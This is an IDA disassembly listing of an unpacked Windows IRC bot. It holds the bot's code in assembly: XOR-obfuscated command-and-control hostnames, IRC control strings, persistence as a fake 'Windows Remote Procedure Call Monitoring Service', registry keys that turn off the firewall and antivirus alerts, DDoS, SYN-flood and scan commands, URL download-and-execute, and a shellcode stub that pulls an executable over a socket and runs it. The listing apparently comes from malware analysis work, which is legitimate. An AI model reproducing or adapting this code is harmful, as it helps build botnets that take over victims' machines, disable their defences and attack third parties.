;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	83D129BD1280F52A0B22B122C430637F

; File Name   :	u:\work\83d129bd1280f52a0b22b122c430637f_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 00001000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
MEW		segment	para public 'BSS' use32
		assume cs:MEW
		;org 401000h
		assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing
dword_401000	dd 77DE1EBDh		; DATA XREF: sub_402094+25r
dword_401004	dd 77DDA20Bh		; DATA XREF: sub_402193+12r
					; sub_40224E+Cr ...
dword_401008	dd 77DDAB2Fh		; DATA XREF: sub_40224E+2Br
					; sub_402A81+248r
dword_40100C	dd 77E2C1B3h		; DATA XREF: sub_40224E+24r
dword_401010	dd 77DE7E48h		; DATA XREF: sub_4022CE+2Dr
dword_401014	dd 77DE1356h		; DATA XREF: sub_4022CE+10r
dword_401018	dd 77E2BC20h		; DATA XREF: sub_402A81+241r
dword_40101C	dd 77DE1291h		; DATA XREF: sub_402A81+22Dr
dword_401020	dd 77E2BF4Bh		; DATA XREF: sub_402193+4Er
dword_401024	dd 77DD189Ah		; DATA XREF: sub_402A81+76r
					; sub_402A81+B5r ...
dword_401028	dd 77DD59F0h		; DATA XREF: sub_402A81+62r
dword_40102C	dd 77DD72F0h		; DATA XREF: sub_402A81+44r
dword_401030	dd 77DE27A1h		; DATA XREF: sub_402A81+3Er
dword_401034	dd 77E2BE75h		; DATA XREF: sub_402193+54r
dword_401038	dd 77DE8075h		; DATA XREF: sub_402193+B0r
dword_40103C	dd 77DE801Bh		; DATA XREF: sub_402193+23r
					; sub_40224E+1Br ...
		dd 0
dword_401044	dd 77E61A90h		; DATA XREF: sub_402CD9+95r
					; MEW:00405B04o
dword_401048	dd 77E79824h		; DATA XREF: sub_402CD9+8Fr
dword_40104C	dd 77E79CE3h		; DATA XREF: sub_402CD9+69r
dword_401050	dd 77E73628h		; DATA XREF: sub_402CD9+3Cr
dword_401054	dd 77E77963h		; DATA XREF: sub_402CD9+2Er
					; sub_40443A+14Cr ...
dword_401058	dd 77E79D5Bh		; DATA XREF: sub_402CD9+1Dr
dword_40105C	dd 77E7A5FDh		; DATA XREF: sub_402E88+15r
					; sub_40384E+25r
dword_401060	dd 77E805D8h		; DATA XREF: sub_402E88+5r
					; sub_40384E+Fr
dword_401064	dd 77E7AC37h		; DATA XREF: sub_402EAA+Er
					; sub_402FC3+1A4r ...
dword_401068	dd 77E77CC4h		; DATA XREF: sub_402F08+2r
					; sub_402F08:loc_402FA0r ...
dword_40106C	dd 77E74672h		; DATA XREF: sub_40325F+69r
dword_401070	dd 77E7AA83h		; DATA XREF: sub_402CD9+D7r
dword_401074	dd 77E96645h		; DATA XREF: sub_40325F+32r
dword_401078	dd 77E78EAAh		; DATA XREF: sub_4032E0+10Cr
dword_40107C	dd 77E75E67h		; DATA XREF: sub_4032E0+FDr
dword_401080	dd 77E75D9Eh		; DATA XREF: sub_4032E0+23r
dword_401084	dd 77E6AF8Fh		; DATA XREF: sub_4037CC+4Br
dword_401088	dd 77E73803h		; DATA XREF: sub_403DA9+241r
dword_40108C	dd 77E736A3h		; DATA XREF: sub_403DA9+97r
dword_401090	dd 77E668D9h		; DATA XREF: sub_4040DE+10Dr
dword_401094	dd 77E79D8Ch		; DATA XREF: sub_40443A+8Dr
dword_401098	dd 77E7A837h		; DATA XREF: sub_40443A+7Br
					; sub_4045CA+30r
dword_40109C	dd 77E79C90h		; DATA XREF: sub_402A81+37r
					; sub_402CD9+8r
dword_4010A0	dd 77E705B0h		; DATA XREF: sub_402A81+1C3r
dword_4010A4	dd 77E6D071h		; DATA XREF: sub_402A81+1EEr
dword_4010A8	dd 77E6E32Eh		; DATA XREF: sub_402A81+1F5r
dword_4010AC	dd 77E61BB8h		; DATA XREF: sub_4027CB+66r
					; sub_402CD9+53r ...
dword_4010B0	dd 77E76432h		; DATA XREF: sub_40258D+3Fr
					; sub_4032E0+57r ...
dword_4010B4	dd 77E7751Ah		; DATA XREF: sub_40230D+CFr
					; sub_40258D+C5r ...
dword_4010B8	dd 77E7A099h		; DATA XREF: sub_40228C+Cr
dword_4010BC	dd 77E73BEFh		; DATA XREF: sub_402193+92r
					; sub_4027CB+284r ...
dword_4010C0	dd 77E704FCh		; DATA XREF: sub_40212C+Dr
dword_4010C4	dd 77E70396h		; DATA XREF: sub_40212C+2Br
					; sub_402A81+204r
dword_4010C8	dd 77E6BD13h		; DATA XREF: sub_40212C+3Br
dword_4010CC	dd 77E7C2C4h		; DATA XREF: sub_4020D7+Fr
dword_4010D0	dd 77F5157Dh		; DATA XREF: sub_4020D7+19r
dword_4010D4	dd 77E61BE6h		; DATA XREF: sub_4020D7+45r
					; sub_40212C+4Ar ...
dword_4010D8	dd 77E6C0E3h		; DATA XREF: sub_40325F+50r
dword_4010DC	dd 77E75CB5h		; DATA XREF: sub_4020D7+4Fr
					; sub_402CD9+Er
		dd 0
dword_4010E4	dd 71B2ACCBh		; DATA XREF: sub_40465Ar
dword_4010E8	dd 71B2A381h		; DATA XREF: sub_404654r
		align 10h
dword_4010F0	dd 71A6B4E5h		; DATA XREF: sub_40464Er MEW:00405FA0o
		align 8
dword_4010F8	dd 77D44B08h		; DATA XREF: sub_403185+20r
dword_4010FC	dd 77D651AFh		; DATA XREF: sub_40421C+39r
					; sub_40435D+2r
dword_401100	dd 77D45CBCh		; DATA XREF: sub_40421C+33r
					; sub_40421C+59r
dword_401104	dd 77D4702Fh		; DATA XREF: sub_40421C+1Dr
					; sub_40435D+54r ...
dword_401108	dd 77D4BDCAh		; DATA XREF: sub_40421C+Dr
dword_40110C	dd 77D5BC10h		; DATA XREF: sub_40435D+73r
dword_401110	dd 77D4C96Ah		; DATA XREF: sub_40212C+1Fr
					; sub_40230D+D5r ...
		align 8
dword_401118	dd 71AB5A01h		; DATA XREF: sub_4040DE+8Fr
					; sub_4040DE:loc_40419Fr
dword_40111C	dd 71AB401Ch		; DATA XREF: sub_4027CB:loc_402A3Ar
					; sub_403DA9+1CFr ...
dword_401120	dd 71AB12F8h		; DATA XREF: sub_40258D+189r
					; sub_4034C1+62r ...
dword_401124	dd 71AB2BBFh		; DATA XREF: sub_40230D+45r
					; sub_40258D+19Ar
dword_401128	dd 71AB3C22h		; DATA XREF: sub_40230D+85r
					; sub_402FC3+48r ...
dword_40112C	dd 71AB5DE2h		; DATA XREF: sub_4040DE+A9r
dword_401130	dd 71AB3E5Dh		; DATA XREF: sub_40230D+B3r
					; sub_402FC3+FFr ...
dword_401134	dd 71AB1AF4h		; DATA XREF: sub_40230D+B9r
					; sub_40254D+36r ...
dword_401138	dd 71AB157Eh		; DATA XREF: sub_40230D+12Ar
					; sub_4034C1+90r ...
dword_40113C	dd 71AB1890h		; DATA XREF: sub_40230D+14Ar
					; sub_402FC3+12Fr
dword_401140	dd 71AB5690h		; DATA XREF: sub_40230D+192r
					; sub_403A7A+1B0r ...
dword_401144	dd 71AB1A6Dh		; DATA XREF: sub_40230D+235r
					; sub_4027CB+EBr ...
dword_401148	dd 71AB41DAh		; DATA XREF: sub_4020D7+35r
dword_40114C	dd 71AB868Dh		; DATA XREF: sub_4040DE+B2r
dword_401150	dd 71AB3ECEh		; DATA XREF: sub_403DA9+54r
					; sub_4040DE+A1r
dword_401154	dd 71AB14DCh		; DATA XREF: sub_403DA9+7Ar
dword_401158	dd 71AB1746h		; DATA XREF: sub_403DA9+E7r
					; sub_403DA9+10Br
dword_40115C	dd 71AB1746h		; DATA XREF: sub_4034C1+125r
					; sub_403A7A+F7r ...
dword_401160	dd 71AB1ED3h		; DATA XREF: sub_4034C1+1B4r
dword_401164	dd 71AB155Ah		; DATA XREF: sub_402FC3+5Cr
dword_401168	dd 71AB12A7h		; DATA XREF: sub_402FC3+DEr
dword_40116C	dd 71AB3F8Dh		; DATA XREF: sub_40230D+A1r
					; sub_4034C1+4Cr
dword_401170	dd 71AB1B7Bh		; DATA XREF: sub_404648r
		align 8
aCWindowsSystem	db 'C:\WINDOWS\System32\rpcsvc.exe',0 ; DATA XREF: sub_40212C+2o
					; sub_402193+35o
		align 4
		dd 39h dup(0)
dword_40127C	dd 0			; DATA XREF: sub_40230D+101w
					; sub_40258D+6Bw ...
dword_401280	dd 0			; DATA XREF: sub_40230D+13r
					; sub_40230D+21w ...
dword_401284	dd 0			; DATA XREF: sub_40230D+5Bw
					; sub_40258D+162r ...
word_401288	dw 0			; DATA XREF: sub_40230D+39w
					; sub_40230D+73r
		align 4
dword_40128C	dd 0			; DATA XREF: sub_40230D+55w
					; sub_40258D+B9r ...
dword_401290	dd 80h dup(0)		; DATA XREF: sub_40230D+F7o
					; sub_40230D+108o ...
dword_401490	dd 8 dup(0)		; DATA XREF: sub_40230D+E6o
					; sub_40230D+EDo ...
dword_4014B0	dd 0			; DATA XREF: sub_4033F9+98w
					; sub_4034B6w ...
dword_4014B4	dd 0			; DATA XREF: sub_4037CC+41o
					; sub_40443A+32o
dword_4014B8	dd 0			; DATA XREF: sub_403A36+34r
					; sub_403A7A+E3w ...
dword_4014BC	dd 0			; DATA XREF: sub_40230D+99w
					; sub_40230D+ADr ...
dword_4014C0	dd 0			; DATA XREF: sub_40258D+192w
					; sub_40258D+1ABw ...
dword_4014C4	dd 0			; DATA XREF: sub_40230D+135w
					; sub_4027CB+277r
		dd 6 dup(0)
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_40212C+36o
					; sub_40228C+5o ...
		align 4
		dd 41h dup(0)
aD:					; DATA XREF: sub_40228C+1Bo
					; sub_40228C+2Dw ...
		unicode	0, <D>,0
		dd 0Ah dup(0)
dword_40162C	dd 81h			; DATA XREF: sub_40228C+37w
word_401630	dw 0			; DATA XREF: sub_40228C+25w
		align 4
		dd 7 dup(0)
dword_401650	dd 0			; DATA XREF: sub_4027CB+4Eo
					; sub_402CD9+14o ...
		align 10h
dword_401660	dd 32312E25h, 255C7338h, 7334362Eh, 0 ;	DATA XREF: sub_40212C+19o
dword_401670	dd 4B43694Eh, 312E2520h, 0A7336h ; DATA	XREF: sub_40230D+F2o
					; sub_40258D+EAo
		dd 73382E25h, 78383025h, 0 ; DATA XREF:	sub_40230D+E1o
					; sub_40258D+DCo
dword_401688	dd 52655355h, 2	dup(6C206C20h),	0Ah ; DATA XREF: sub_40230D+C2o
aPrivmsg_16s_48	db 'PRiVMSG %.16s :%.480s',0Ah,0 ; DATA XREF: sub_40254D+17o
		align 10h
aJoin_16s_16s	db 'JOiN %.16s %.16s',0Ah,0 ; DATA XREF: sub_40258D+21Co
		align 4
aUserhost_16s	db 'USeRHOST %.16s',0Ah,0 ; DATA XREF: sub_40258D+1E7o
a001		db '001',0              ; DATA XREF: sub_40258D:loc_40274Eo
a302		db '302',0              ; DATA XREF: sub_40258D:loc_4026E3o
a332		db '332',0              ; DATA XREF: sub_40258D:loc_402687o
a433		db '433',0              ; DATA XREF: sub_40258D:loc_40263Ao
					; sub_403CA4:loc_403CFFo
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40258D:loc_40260Eo
aPong_500s	db 'PoNG %.500s',0Dh,0Ah,0 ; DATA XREF: sub_40258D+58o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40258D+45o
					; sub_403CA4+46o
		align 4
aNi_16s_16s	db '[ni] %.16s %.16s',0 ; DATA XREF: sub_4027CB+29Co
		align 4
a_500s		db '%.500s',0Ah,0       ; DATA XREF: sub_4027CB+1AAo
					; sub_403A36+1Bo
aQuit		db 'QUiT',0Ah,0         ; DATA XREF: sub_4027CB+D4o
		align 4
aExec		db '[exec] :(',0        ; DATA XREF: sub_4027CB:loc_402843o
		align 4
aExec_0		db '[exec] :)',0        ; DATA XREF: sub_4027CB+71o
		align 10h
aSharedaccess	db 'sharedaccess',0     ; DATA XREF: sub_402A81+218o
		align 10h
aSDebugDcpromo_	db '%s\debug\dcpromo.log',0 ; DATA XREF: sub_402A81+1D0o
		align 4
aSoftwarePoli_0	db 'software\policies\microsoft\windowsfirewall\standardprofile',0
					; DATA XREF: sub_402A81+18Fo
aEnablefirewall	db 'enablefirewall',0   ; DATA XREF: sub_402A81+178o
					; sub_402A81+1A4o
		align 4
aSoftwarePolici	db 'software\policies\microsoft\windowsfirewall\domainprofile',0
					; DATA XREF: sub_402A81+163o
		align 10h
aFirewalldisa_0	db 'firewalldisableoverride',0 ; DATA XREF: sub_402A81+14Co
aFirewalldisabl	db 'firewalldisablenotify',0 ; DATA XREF: sub_402A81+139o
		align 10h
aAntivirusoverr	db 'antivirusoverride',0 ; DATA XREF: sub_402A81+126o
		align 4
aAntivirusdisab	db 'antivirusdisablenotify',0 ; DATA XREF: sub_402A81+113o
		align 4
aSoftwareMicr_0	db 'software\microsoft\security center',0 ; DATA XREF: sub_402A81+FEo
		align 10h
aAutosharewks	db 'autosharewks',0     ; DATA XREF: sub_402A81+E7o
		align 10h
aAutoshareserve	db 'autoshareserver',0  ; DATA XREF: sub_402A81+D4o
aSystemCurren_0	db 'system\currentcontrolset\services\lanmanserver\parameters',0
					; DATA XREF: sub_402A81+BFo
		align 4
aRestrictanon_0	db 'restrictanonymoussam',0 ; DATA XREF: sub_402A81+A8o
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_402A81+95o
		align 4
aSystemCurrentc	db 'system\currentcontrolset\control\lsa',0 ; DATA XREF: sub_402A81+80o
		align 10h
aEnabledcom	db 'enabledcom',0       ; DATA XREF: sub_402A81+69o
		align 4
aN:					; DATA XREF: sub_402A81+5Co
		unicode	0, <n>,0
aSoftwareMicros	db 'software\microsoft\ole',0 ; DATA XREF: sub_402A81+4Eo
		align 4


loc_401948:				; DATA XREF: sub_402CD9+9Eo
		jmp	short loc_401977
; ---------------------------------------------------------------------------


loc_40194A:				; CODE XREF: MEW:loc_401977p
		push	0FFFFFFFFh
; ---------------------------------------------------------------------------
		db 68h
dword_401950	dd 0FFFFFEFFh		; DATA XREF: sub_402CD9+7Fw
		db 0B8h
dword_401955	dd 77E79D5Bh		; DATA XREF: sub_402CD9+29w
		db 0FFh, 0D0h, 68h
dword_40195C	dd 0FFFFFFFFh		; DATA XREF: sub_402CD9+8Aw
		db 0B8h
dword_401961	dd 77E77963h		; DATA XREF: sub_402CD9+37w
		db 0FFh, 0D0h, 0B8h
dword_401968	dd 77E73628h		; DATA XREF: sub_402CD9+48w
		dd 6AD0FFh
		db 0B8h
dword_401971	dd 77E75CB5h		; DATA XREF: sub_402CD9+4Dw
; ---------------------------------------------------------------------------
		call	eax


loc_401977:				; CODE XREF: MEW:loc_401948j
		call	loc_40194A
; ---------------------------------------------------------------------------
		dd 0
dword_401980	dd 6C707865h, 7265726Fh, 6578652Eh, 0 ;	DATA XREF: sub_402CD9+42o
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_402E88+Fo
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_402E88o
		align 4
dword_4019B4	dd 1			; DATA XREF: sub_402EAAr
					; sub_402EAA+23w ...
aFindfile_256s_	db '[findfile] %.256s%.240s',0 ; DATA XREF: sub_4032E0+DEo
a_256s_250s	db '%.256s%.250s\',0    ; DATA XREF: sub_4032E0+9Eo
		align 10h
a__		db '..',0               ; DATA XREF: sub_4032E0+82o
		align 4
a_:					; DATA XREF: sub_4032E0+70o
					; sub_4037CC+46o
		unicode	0, <.>,0
a_256s		db '%.256s*',0          ; DATA XREF: sub_4032E0+1Bo
		dd 1
aSyn_16sDoneUms	db '[syn:%.16s] done [%ums] [%u packets] [%uMB] [%uK/s]',0
					; DATA XREF: sub_4034C1+29Co
aDl08xDl	db '[dl:%08x] :( dl',0  ; DATA XREF: sub_40384E+126o
aDl08xExec	db '[dl:%08x] :( exec',0 ; DATA XREF: sub_40384E+114o
		align 4
aDl08x		db '[dl:%08x] :)',0     ; DATA XREF: sub_40384E+E2o
		align 4
aDl08x_180sTo_1	db '[dl:%08x] %.180s to %.180s',0 ; DATA XREF: sub_40384E+7Eo
		align 4
aUrldownloadtof	db 'URLDownloadToFileA',0 ; DATA XREF: sub_40384E+1Fo
		align 4
aUrlmon_dll	db 'urlmon.dll',0       ; DATA XREF: sub_40384E+Ao
		align 4
dword_401A98	dd 1			; DATA XREF: sub_40399D+9r
					; sub_40399D+69w ...
dword_401A9C	dd 4B43494Eh, 312E2520h, 0A7336h ; DATA	XREF: sub_403A7A+173o
					; sub_403CA4+A7o
aUser_16s_16s_1	db 'USER %.16s "" "%.16s" %.16s',0Ah,0 ; DATA XREF: sub_403A7A+147o
		align 4
aPong_500s_0	db 'PONG %.500s',0Dh,0Ah,0 ; DATA XREF: sub_403CA4+54o
		align 4
dword_401AD8	dd 1			; DATA XREF: sub_403D7Dr
					; sub_403D7D+15w ...
a_16sHu_16sHu_2	db '[%.16s:%hu->%.16s:%hu] "%.256s"',0 ; DATA XREF: sub_403DA9+217o
aJoin		db 'JOIN #* *',0        ; DATA XREF: sub_403FF9+5Do
		align 4
aOper??		db 'OPER ?* ?* *',0     ; DATA XREF: sub_403FF9+56o
		align 4
aPass?		db 'PASS ?* ',0         ; DATA XREF: sub_403FF9+4Fo
		align 4
aUser?		db 'USER ?* ',0         ; DATA XREF: sub_403FF9+48o
		align 10h
a?Ddos		db '* :?*ddos* *',0     ; DATA XREF: sub_403FF9+41o
		align 10h
a?Udp		db '* :?*udp* *',0      ; DATA XREF: sub_403FF9+3Ao
a?Syn		db '* :?*syn* *',0      ; DATA XREF: sub_403FF9+33o
a?Scan		db '* :?*scan* *',0     ; DATA XREF: sub_403FF9+2Co
		align 4
a?set		db '* :?set * * *',0    ; DATA XREF: sub_403FF9+25o
		align 4
a?login		db '* :?login * *',0    ; DATA XREF: sub_403FF9+1Eo
		align 4
aPrivmsg?	db '*PRIVMSG * :?* *',0 ; DATA XREF: sub_403FF9+17o
		align 4
a_332?		db '*:*.* 332 * #* :?* *',0 ; DATA XREF: sub_403FF9+Ao
		align 4
aComspecQ	db '"%comspec%" /Q',0   ; DATA XREF: sub_4040DE+EDo
		align 4
a_oscar_tree	db '_Oscar_Tree',0      ; DATA XREF: sub_40421C+7Co
a32770		db '#32770',0           ; DATA XREF: sub_40421C+40o
					; sub_40421C+60o
		align 4
a_oscar_statusn	db '_Oscar_StatusNotify',0 ; DATA XREF: sub_40421C+8o
a_oscar_iconbtn	db '_Oscar_IconBtn',0   ; DATA XREF: sub_40435D:loc_4043C0o
					; sub_40435D+9Do
		align 4
aAte32class	db 'Ate32Class',0       ; DATA XREF: sub_40435D+43o
		align 4
aCbclass	db 'CBClass',0          ; DATA XREF: sub_40435D+35o
aWndate32class	db 'WndAte32Class',0    ; DATA XREF: sub_40435D+25o
					; sub_40435D+5Bo
		align 10h
aAim_imessage	db 'AIM_IMessage',0     ; DATA XREF: sub_40435D+10o
					; sub_40435D+B5o
		align 10h
aInstantMessage	db 'Instant Message',0  ; DATA XREF: sub_40435D+9o
					; sub_40435D+B0o
a_24sBrowser	db '%.24s\browser',0    ; DATA XREF: sub_40443A+5Eo
		align 10h
a_16sPipe	db '\\%.16s\pipe',0     ; DATA XREF: sub_40443A+1Fo
		align 10h
		mov	edx, 401180h
		mov	ecx, 0AE0h
		call	sub_401C7E
		mov	edx, offset byte_401C87
		mov	ecx, 29D9h
		push	offset sub_402094

; =============== S U B	R O U T	I N E =======================================



sub_401C7E	proc near		; CODE XREF: MEW:00401C6Ap
					; sub_401C7E+4j
		xor	byte ptr [edx],	0CEh
		inc	edx
		loop	sub_401C7E
		retn	8
sub_401C7E	endp

; ---------------------------------------------------------------------------
byte_401C87	db 0			; DATA XREF: MEW:00401C6Fo
aBbjj_househot_	db 'bbjj.househot.com',0 ; DATA XREF: sub_40230D+Eo
word_401C9A	dw 9346h		; DATA XREF: sub_40230D+32r
aYpgw_wallloan_	db 'ypgw.wallloan.com',0 ; DATA XREF: sub_40230D+21o
word_401CAE	dw 9346h		; DATA XREF: sub_40230D+1Br
dword_401CB0	dd 387023h		; DATA XREF: sub_40254D+12o
					; sub_40258D+217o ...
aIhodc9hi	db 'ihodc9hi',0         ; DATA XREF: sub_40258D+212o
		align 10h
dword_401CC0	dd 12Ch			; DATA XREF: sub_40230D+145r
dword_401CC4	dd 2D3870h		; DATA XREF: sub_40230D+DCo
					; sub_40258D+D2o
byte_401CC8	db 2Eh			; DATA XREF: sub_40258D+130r
byte_401CC9	db 21h			; DATA XREF: sub_40258D:loc_4026D3r
		align 4
dword_401CCC	dd 6461212Ah, 406E696Dh, 696D6461h, 6Eh	; DATA XREF: sub_40258D+96o
aRpcsvc_0	db 'rpcsvc',0           ; DATA XREF: sub_4020D7+6o
		align 4
aRpcsvc_exe	db 'rpcsvc.exe',0       ; DATA XREF: sub_40212C+13o
		align 10h
aRpcsvc		db 'rpcsvc',0           ; DATA XREF: sub_402094+15o
					; sub_402193+18o ...
		align 4
aWindowsRemoteP	db 'Windows Remote Procedure Call Monitoring Service',0
					; DATA XREF: sub_402193+47o
		align 4
aProvidesReliab	db 'Provides reliability and uptime monitoring for components that us'
					; DATA XREF: sub_402193+8Co
		db 'e the RPC subsystem. If this service is stopped, RPC communicatio'
		db 'n between clients and servers on the network will be impaired. If'
		db ' this service is disabled, any services that explicitly depend on'
		db ' it will fail to start.',0
flt_401E48	dd 1.0e3		; DATA XREF: sub_4034C1+280r
; ---------------------------------------------------------------------------


loc_401E4C:				; DATA XREF: sub_40443A+100o
		jmp	short loc_401E50
; ---------------------------------------------------------------------------


loc_401E4E:				; CODE XREF: MEW:loc_401E50p
		jmp	short loc_401EBB
; ---------------------------------------------------------------------------


loc_401E50:				; CODE XREF: MEW:loc_401E4Cj
		call	loc_401E4E
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, [esp+18h]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_401E6E:				; CODE XREF: MEW:00401E8Bj
		jecxz	short loc_401EA2
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		cld


loc_401E79:				; CODE XREF: MEW:00401E85j
		xor	eax, eax
		lodsb
		cmp	al, ah
		jz	short loc_401E87
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_401E79
; ---------------------------------------------------------------------------


loc_401E87:				; CODE XREF: MEW:00401E7Ej
		cmp	edi, [esp+14h]
		jnz	short loc_401E6E
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		jmp	short loc_401EA4
; ---------------------------------------------------------------------------


loc_401EA2:				; CODE XREF: MEW:loc_401E6Ej
		xor	eax, eax


loc_401EA4:				; CODE XREF: MEW:00401EA0j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	[esp+4], eax
		mov	eax, [esp]
		mov	[esp+8], eax
		mov	eax, [esp+4]
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_401EBB:				; CODE XREF: MEW:loc_401E4Ej
		pop	esi
		push	30h
		pop	ecx
		mov	ebx, fs:[ecx]
		mov	ebx, [ebx+0Ch]
		mov	ebx, [ebx+1Ch]
		mov	ebx, [ebx]
		mov	edi, [ebx+8]
		sub	esp, 1Ch
		mov	ebp, esp
		xor	eax, eax
		push	eax
		push	6578652Eh
		mov	[ebp+14h], esp
		push	edi
		push	0E88A49EAh
		call	esi
		push	6
		push	dword ptr [ebp+14h]
		call	eax
		mov	[ebp+4], eax
		push	edi
		push	0E9238ADBh
		call	esi
		mov	[ebp+0Ch], eax
		push	edi
		push	0EC0E4E8Eh
		call	esi
		xor	ecx, ecx
		mov	cx, 6C6Ch
		push	ecx
		push	642E3233h
		push	5F327377h
		push	esp
		call	eax
		mov	ebx, eax
		push	ebx
		push	0E71819B6h
		call	esi
		mov	[ebp+10h], eax
		push	ebx
		push	79C679E7h
		call	esi
		mov	[ebp+18h], eax
		push	ebx
		push	492F0B6Eh
		call	esi
		push	6
		push	1
		push	2
		call	eax
		mov	[ebp+8], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		mov	eax, 427FF02h
		xor	ah, 0FFh
		push	eax
		mov	eax, esp
		push	10h
		push	eax
		push	dword ptr [ebp+8]
		push	ebx
		push	0C7701AA4h
		call	esi
		call	eax
		pop	eax
		push	ebx
		push	0E92EADA4h
		call	esi
		push	10h
		push	dword ptr [ebp+8]
		call	eax
		xor	eax, eax
		push	eax
		push	eax
		push	dword ptr [ebp+8]
		push	ebx
		push	498649E5h
		call	esi
		call	eax
		mov	ecx, [ebp+8]
		mov	[ebp+8], eax
		push	ecx
		call	dword ptr [ebp+18h]
		add	esp, 0FFFFFEFCh
		mov	ebx, esp


loc_401F94:				; CODE XREF: MEW:00401FADj
		xor	ecx, ecx
		push	ecx
		mov	cl, 0FFh
		push	ecx
		push	ebx
		push	dword ptr [ebp+8]
		call	dword ptr [ebp+10h]
		test	eax, eax
		jle	short loc_401FAF
		push	eax
		push	ebx
		push	dword ptr [ebp+4]
		call	dword ptr [ebp+0Ch]
		jmp	short loc_401F94
; ---------------------------------------------------------------------------


loc_401FAF:				; CODE XREF: MEW:00401FA3j
		push	dword ptr [ebp+8]
		call	dword ptr [ebp+18h]
		push	edi
		push	0DD1A4C5Bh
		call	esi
		push	dword ptr [ebp+4]
		call	eax
		xor	eax, eax
		push	eax
		push	dword ptr [ebp+14h]
		push	edi
		push	0E8AFE98h
		call	esi
		call	eax
		push	edi
		push	60E0CEEFh
		call	esi
		call	eax
; ---------------------------------------------------------------------------
		dd 0
dword_401FE0	dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 ; DATA XREF: sub_40443A+99o
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2
dword_402028	dd 3000005h, 10h, 83Ch,	1, 824h, 360000h, 11h, 0 ; DATA	XREF: sub_40443A+D4o
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
dword_402088	dd 7E0h, 4, 0		; DATA XREF: sub_40443A+128o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402094	proc near		; DATA XREF: MEW:00401C79o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_C], offset sub_4022CE
		mov	[ebp+var_10], offset aRpcsvc ; "rpcsvc"
		call	sub_40228C
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_401000	; StartServiceCtrlDispatcherA
		test	eax, eax
		jnz	short loc_4020C8
		call	sub_40212C


loc_4020C8:				; CODE XREF: sub_402094+2Dj
		call	sub_4020D7
		call	nullsub_1
		xor	eax, eax
		leave
		retn
sub_402094	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4020D7	proc near		; CODE XREF: sub_402094:loc_4020C8p
					; sub_4022CE+33p

var_19C		= byte ptr -19Ch

		sub	esp, 190h
		push	offset aRpcsvc_0 ; "rpcsvc"
		push	0
		push	0
		call	dword_4010CC	; CreateMutexA
		test	eax, eax
		jz	short loc_402124
		call	dword_4010D0	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jz	short loc_402124
		call	sub_402A81
		lea	eax, [esp+19Ch+var_19C]
		push	eax
		push	101h
		call	dword_401148	; WSAStartup


loc_402112:				; CODE XREF: sub_4020D7+4Bj
		call	sub_40230D
		push	4000h
		call	dword_4010D4	; Sleep
		jmp	short loc_402112
; ---------------------------------------------------------------------------


loc_402124:				; CODE XREF: sub_4020D7+17j
					; sub_4020D7+24j
		push	0
		call	dword_4010DC	; ExitProcess
sub_4020D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40212C	proc near		; CODE XREF: sub_402094+2Fp
		push	esi
		push	edi
		mov	esi, offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\rpcsvc.exe"
		push	104h
		push	esi
		call	dword_4010C0	; GetSystemDirectoryA
		push	offset aRpcsvc_exe ; "rpcsvc.exe"
		push	esi
		push	offset dword_401660
		push	esi
		call	dword_401110	; wsprintfA
		add	esp, 10h
		push	20h
		push	esi
		call	dword_4010C4	; SetFileAttributesA
		xor	edi, edi


